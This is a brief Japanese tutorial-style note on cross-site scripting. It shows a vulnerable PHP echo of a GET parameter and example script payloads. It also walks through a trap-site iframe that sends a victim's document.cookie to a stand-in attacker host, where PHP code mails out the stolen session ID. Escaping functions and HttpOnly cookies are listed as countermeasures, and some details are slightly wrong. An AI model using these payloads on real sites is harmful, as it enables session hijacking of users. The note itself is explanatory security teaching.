~p141 XSS

Security

XSSとは(クロスサイト・スクリプティング)

ウェブサイト内に悪意のあるスクリプトを埋め込む攻撃

XSS攻撃その1(正規サイトにリンクを設置するパターン)

掲示板サイトでユーザーが次のような悪意のあるリンクを投稿したとします

https://example.com?user=<script>alert(‘This is evil message’);</script>

一般ユーザーがそのリンクをクリックします

リンク先が開かれると同時に、悪意のあるスクリプト(上記URLのscriptタグの部分)が実行されます

その結果、クリックした人のCookie情報が盗まれます

XSS攻撃その2(罠サイトを作るパターン)

<?php session_start(); ?>
<?php echo $_GET['keyword']; ?>

上記コードに対して
http://xxx.com/sample?keyword=<script>alert(document.cookie)</script>
を送信すると「PHPSESSID=xgjorkgiah」というアラートが表示されて、セッションIDが取得できてしまいます

実際の攻撃では、悪人本人のセッションIDを取得しても意味がないので、正規サイトの利用者を下記のような罠サイトに誘導します

<iframe src="http://xxx.com/sample?keyword=<script>
window.location='http://trap.xxx.com/sample?sid=%2Bdocument.cookie;
</script>">
</iframe>

%2Bは「+」のパーセントエンコーディングです

正規サイトの利用者は、iframeの中でXSS攻撃されます

window.locationによりセッションIDは罠サイトにページ遷移します

罠サイトでは次のようなコードを記述し、受け取ったSIDをメールで送信します

<?php
mb_language('Japanese');
$sid = $_GET['sid'];

引数は「宛先」「メールタイトル」「本文」「発信者」の4つです
mb_send_mail('info@ooo.jp', '攻撃成功', 'セッションID:'. $sid, 'From: cracked@trap.xxx.com');
?>

エスケープ処理

XSSの対策は「エスケープ処理」です

入力フォームの値をサニタイズ(無害化)することです

sanitize_text_field

・「&」「<」「>」「’」「”」の5文字が「&gt;」などの文字列に変換されます

・これによってHTMLタグが削除されます

・無駄な空白や改行も削除されます

sanitize_email

・メールアドレスに使用できない文字(!等)が削除されます

sanitize_username

・英数字、アンダースコア、ハイフン以外の文字が削除されます

・日本語も削除されます

intval()

・整数以外の文字列が無視されます(123abc -> 123

sanitize_url_raw

・&記号などがエスケープされます

クッキーにHttpOnly属性を付与する

php.iniに下記の設定を追加することで、Javascriptからのクッキーの読み出しを禁止することができます

これによってセッションIDの盗み出しを防止できます

session.cookie_httponly = on
BACK